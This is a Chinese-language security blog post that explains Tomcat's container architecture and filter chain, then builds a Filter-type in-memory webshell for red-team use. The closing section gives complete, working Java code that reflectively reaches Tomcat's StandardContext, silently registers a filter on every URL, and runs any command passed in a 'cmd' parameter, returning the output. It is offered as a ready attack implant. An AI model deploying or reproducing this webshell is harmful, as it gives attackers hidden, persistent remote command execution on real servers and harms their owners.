Java安全之基於Tomcat的Filter型記憶體馬

CoLoo發表於2021-11-21

Java安全之基於Tomcat的Filter型記憶體馬

寫在前面

現在來說,記憶體馬已經是一種很常見的攻擊手法了,基本紅隊專案中對於入口點都是選擇打入記憶體馬。而對於記憶體馬的支援也是五花八門,甚至各大公司都有自己魔改的webshell管理工具,下面就從Tomcat開始學習記憶體馬部分內容。

記憶體馬主要分為以下幾類:

servlet-api類

  • filter型
  • servlet型

spring類

  • 攔截器
  • controller型

Java Instrumentation類

  • agent型

Tomcat基礎知識

首先簡單說下Filter

Filter:自定義Filter的實現,需要實現javax.servlet.Filter下的init()、doFilter()、destroy()三個方法。

  • 啟動伺服器時載入過濾器的例項,並呼叫init()方法來初始化例項;
  • 每一次請求時都只呼叫方法doFilter()進行處理;
  • 停止伺服器時呼叫destroy()方法,銷燬例項。

web.xml對於三大元件的載入順序是:listener -> filter -> servlet

再看一下Tomcat的架構

其中涉及到很多Tomcat的元件

  • Server:
    Server,即指的WEB伺服器,一個Server包括多個Service。

  • Service:

    Service的作用是在ConnectorEngine外面包了一層(可看上圖),把它們組裝在一起,對外提供服務。一個Service可以包含多個Connector,但是隻能包含一個Engine,其中Connector的作用是從客戶端接收請求,Engine的作用是處理接收進來的請求。後面再來細節分析Service。

  • Connector:

    Tomcat有兩個典型的Connector,一個直接偵聽來自browser的http請求,一個偵聽來自其它WebServer的請求Coyote Http/1.1 Connector 在埠8080處偵聽來自客戶browser的http請求
    Coyote JK2 Connector 在埠8009處偵聽來自其它WebServer(Apache)的servlet/jsp代理請求。

  • Engine:

    Engine下可以配置多個虛擬主機,每個虛擬主機都有一個域名,當Engine獲得一個請求時,它把該請求匹配到某個Host上,然後把該請求交給該Host來處理,Engine有一個預設虛擬主機,當請求無法匹配到任何一個Host上的時候,將交給該預設Host來處理。

  • Host:

    代表一個虛擬主機,每個虛擬主機和某個網路域名Domain Name相匹配
    每個虛擬主機下都可以部署(deploy)一個或者多個Web App,每個Web App對應於一個Context,有一個Context path,當Host獲得一個請求時,將把該請求匹配到某個Context上,然後把該請求交給該Context來處理匹配的方法是“最長匹配”,所以一個path==""的Context將成為該Host的預設Context,所有無法和其它Context的路徑名匹配的請求都將最終和該預設Context匹配。

  • Context:

    一個Context對應於一個Web Application,一個WebApplication由一個或者多個Servlet組成
    Context在建立的時候將根據配置檔案$CATALINA_HOME/conf/web.xml$WEBAPP_HOME/WEB-INF/web.xml載入Servlet類,當Context獲得請求時,將在自己的對映表(mapping table)中尋找相匹配的Servlet類。如果找到,則執行該類,獲得請求的回應,並返回。

Connector

Connector也被叫做聯結器。Connector將在某個指定的埠上來監聽客戶的請求,把從socket傳遞過來的資料,封裝成Request,傳遞給Engine來處理,並從Engine處獲得響應並返回給客戶端。

Engine:最頂層容器元件,其下可以包含多個 Host。
Host:一個 Host 代表一個虛擬主機,其下可以包含多個 Context。
Context:一個 Context 代表一個 Web 應用,其下可以包含多個 Wrapper。
Wrapper:一個 Wrapper 代表一個 Servlet。

ProtocolHandler

Connector中,包含了多個元件,Connector使用ProtocolHandler處理器來處理請求。不同的ProtocolHandler代表不同連線型別。ProtocolHandler處理器可以用看作是協議處理統籌者,通過管理其他工作元件實現對請求的處理。ProtocolHandler包含了三個非常重要的元件,這三個元件分別是:

- Endpoint: 負責接受,處理socket網路連線
- Processor: 負責將從Endpoint接受的socket連線根據協議型別封裝成request
- Adapter:負責將封裝好的Request交給Container進行處理,解析為可供Container呼叫的繼承了		      ServletRequest介面、ServletResponse介面的物件。

請求經Connector處理完畢後,傳遞給Container進行處理。

Container

Container容器則是負責封裝和管理Servlet 處理使用者的servlet請求,並返回物件給web使用者的模組。

Container 處理請求,內部是使用Pipeline-Value管道來處理的,每個 Pipeline 都有特定的 Value(BaseValue)BaseValue 會在最後執行。上層容器的BaseValue 會呼叫下層容器的管道,FilterChain 其實就是這種模式,FilterChain相當於 Pipeline,每個 Filter 相當於一個 Value。4 個容器的BaseValve 分別是StandardEngineValveStandardHostValveStandardContextValve 和StandardWrapperValve。每個Pipeline 都有特定的Value ,而且是在管道的最後一個執行,這個Valve 叫BaseValveBaseValve 是不可刪除的。

過濾鏈:在一個 Web 應用程式中可以註冊多個 Filter 程式,每個 Filter 程式都可以針對某一個 URL 進行攔截。如果多個 Filter 程式都對同一個 URL 進行攔截,那麼這些 Filter 就會組成一個Filter 鏈(也稱
過濾器鏈)。

如果做過Java web開發的話,不難發現在配置Filter 的時候,假設執行完了就會來到下一個Filter 裡面,如果都FilterChain.doFilter進行放行的話,那麼這時候才會執行servlet內容。原理如上。

整體的執行流程,如下圖:

ServletContext

javax.servlet.ServletContextServlet規範中規定了的一個ServletContext介面,提供了Web應用所有Servlet的檢視,通過它可以對某個Web應用的各種資源和功能進行訪問。WEB容器在啟動時,它會為每個Web應用程式都建立一個對應的ServletContext,它代表當前Web應用。並且它被所有客戶端共享。這個是Servlet中的概念,ServletContext的方法中有addFilteraddServletaddListener方法,即新增FilterServletListener

獲取ServletContext的方法:

this.getServletContext();
this.getServletConfig().getServletContext();

ApplicationContext

org.apache.catalina.core.ApplicationContext

對應Tomcat容器,為了滿足Servlet規範,必須包含一個ServletContext介面的實現。Tomcat的Context容器中都會包含一個ApplicationContext。這裡的ApplicationContext類似於Servlet API中的ServletContext,在addFilteraddServletaddListener方法。

StandardContext

Catalina主要包括Connector和Container,StandardContext就是一個Container,它主要負責對進入的使用者請求進行處理。實際來說,不是由它來進行處理,而是交給內部的valve處理。
一個context表示了一個外部應用,它包含多個wrapper,每個wrapper表示一個servlet定義。(Tomcat 預設的 Service 服務是 Catalina)

以上內容摘抄自:https://www.cnblogs.com/nice0e3/p/14622879.html

Filter Chain與Filter建立分析

因為本文主要是實現一個Filter型的記憶體馬,所以需要在記憶體中動態註冊一個惡意的filter來實現記憶體shell,這其中就涉及到Filter Chain(過濾鏈)的實現以及Filter執行的先後順序問題,所以先建立一個普通的Filter來看一下在Tomcat中的處理流程。

先建立一個Filter,配置路由,在doFilter處下斷點debug

@WebFilter("/demo")
public class demoFilter implements Filter {

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        servletRequest.setCharacterEncoding("UTF-8");
        servletResponse.setCharacterEncoding("UTF-8");
        System.out.println("Filter run start......");
        filterChain.doFilter(servletRequest,servletResponse);   //讓我們的請求繼續走,如果不寫,程式到這裡就被攔截停止。後面還有其他過濾器,需要把這次的req和resp傳給後面的Filter
        System.out.println("Filter run stop......");

    }

    @Override
    public void destroy() {

    }
}

一般開發寫的filter都會有filterChain.doFilter(servletRequest,servletResponse);,讓filter繼續往後走,保證過濾鏈不會在這裡中斷,我們跟入進去,在catalina.jar!/org/apache/catalina/core/ApplicationFilterChain.class#doFilter方法中先做了判斷Globals.IS_SECURITY_ENABLED,該值判斷是否設定了SecurityManager,預設未開啟,跳入else中internalDoFilter方法

在internalDoFilter方法中,先通過filterConfig.getFilter()方法獲取到filter例項,之後走到該filter例項中的dofilter方法,也就是filer chain中,通過dofilter方法可以按順序層層迭代及獲取已經註冊的filter例項並呼叫執行filter中的dofilter方法,來實現一個過濾鏈。

也就是說當我們存在一個可執行任意程式碼的點,我們在動態註冊好惡意的filter後可以通過下面這條鏈來進入我們惡意的filter#doFilter()方法中執行程式碼,呼叫過程如下:

filterChain.doFilter()
	this.internalDoFilter()
		filter.doFilter()

那後面就是找如何呼叫這裡的filterChain.doFilter,回溯呼叫棧,在catalina.jar!/org/apache/catalina/core/StandardWrapperValve.class#invoke方法中,呼叫了filterChain.doFilter方法

瀏覽整個invoke方法,在上面發現通過ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);將客戶端輸入的request、StandardWrapper wrapperServlet servlet 作為引數傳入createFilterChain方法建立了過濾鏈(FilterChain)

跟入ApplicationFilterFactory.createFilterChain方法,在其中通過拿到StandardContext上下文獲取到FilterMapsFilterMaps中儲存了我們註冊好的Filter

繼續往下看,之後就是遍歷上面拿到的FilterMaps,並對其進行判斷,當前請求與請求的url和本次迭代拿到的filter匹配時,並根據本次迭代的Filter名稱在StandardContext中也能找到相應的FilterConfig物件(在 FilterConfig中主要存放 FilterDef 和 Filter物件等資訊),那麼就會將該FilterConfig新增到Filterchain中。

簡單提一下matchDispacher方法中的引數dispatcher:

dispatcher 表示在過濾使用者的請求時,過濾什麼型別的請求?Forward,Request,Include,Error,Async,一般web就是Request。

那麼現在呼叫過程如下:

StandardWrapperValve.invoke()
	ApplicationFilterFactory.createFilterChain()
		StandardContext context = (StandardContext)wrapper.getParent();
    FilterMap[] filterMaps = context.findFilterMaps();
    filterChain.addFilter(filterConfig)
  filterChain.doFilter()
    this.internalDoFilter()
      filter.doFilter()

貼一張寬位元組的圖

Filter建立流程

以平常開發的流程為例的話,一般都是在web.xml中註冊,將url和filter類進行繫結從而建立filter。

從程式碼方面註冊可以通過StandardContext入手,StandardContext會載入web.xml中的配置來建立Servlet、Filter

其中包含了3個有關filter的屬性

private Map<String, ApplicationFilterConfig> filterConfigs = new HashMap();
private Map<String, FilterDef> filterDefs = new HashMap();
private final StandardContext.ContextFilterMaps filterMaps = new StandardContext.ContextFilterMaps();

記憶體馬實現

那根據參考文章的話,只需要拿到StandardContext並設定好這三個屬性值即可。

嘗試構造

import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;

@WebServlet("/demo2")
public class FilterMemshell extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        final ServletContext servletContext = req.getServletContext();
        Field appctx = null;
        try {
            appctx = servletContext.getClass().getDeclaredField("context");
            appctx.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
            Field stdctx = applicationContext.getClass().getDeclaredField("context");
            stdctx.setAccessible(true);
            StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

            String FilterName = "FilterMemshell";
            Field configs = standardContext.getClass().getDeclaredField("filterConfigs");
            configs.setAccessible(true);
            Map filterconfigs = (Map) configs.get(standardContext);

            if (filterconfigs.get(FilterName) == null){
                Filter filter = new Filter(){

                    @Override
                    public void init(FilterConfig filterConfig) throws ServletException {

                    }

                    @Override
                    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {

                        String cmd = servletRequest.getParameter("cmd");
                        if (cmd!=null){
                            InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                            BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);
                            int len;
                            while ((len = bufferedInputStream.read())!=-1){
                                servletResponse.getWriter().write(len);
                            }
                        }

                    }

                    @Override
                    public void destroy() {

                    }
                };

                //反射獲取FilterDef,設定filter名等引數後,呼叫addFilterDef將FilterDef新增
                Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
                Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
                org.apache.tomcat.util.descriptor.web.FilterDef o = (FilterDef)declaredConstructors.newInstance();
                o.setFilter(filter);
                o.setFilterName(FilterName);
                o.setFilterClass(filter.getClass().getName());
                standardContext.addFilterDef(o);

                //反射獲取FilterMap並且設定攔截路徑,並呼叫addFilterMapBefore將FilterMap新增進去
                Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
                org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance();

                o1.addURLPattern("/*");
                o1.setFilterName(FilterName);
                o1.setDispatcher(DispatcherType.REQUEST.name());
                standardContext.addFilterMapBefore(o1);

                //反射獲取ApplicationFilterConfig,構造方法將 FilterDef傳入後獲取filterConfig後,將設定好的filterConfig新增進去
                Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
                Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
                declaredConstructor1.setAccessible(true);
                org.apache.catalina.core.ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
                filterconfigs.put(FilterName,filterConfig);
                resp.getWriter().write("Success");


            }


        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        } catch (InstantiationException e) {
            e.printStackTrace();
        }


    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doGet(req, resp);
    }
}

Reference

https://mp.weixin.qq.com/s?__biz=Mzk0NDE4MTI2MQ==&mid=2247483745&idx=1&sn=2eee1ad5d99ca62aaf9b714b2889d16d&chksm=c329d803f45e51156db26193b12d4df5029bc1bfbf92fd1b974642625bacfa5994d31c54acfa&mpshare=1&scene=23&srcid=1121XCymMnw4n2ISEAeXg2Sd&sharer_sharetime=1637504898246&sharer_shareid=01a960f2575be8671c5eb7e1febc8690%23rd

https://xz.aliyun.com/t/7388#toc-2

http://wjlshare.com/archives/1529

https://www.cnblogs.com/nice0e3/p/14622879.html

相關文章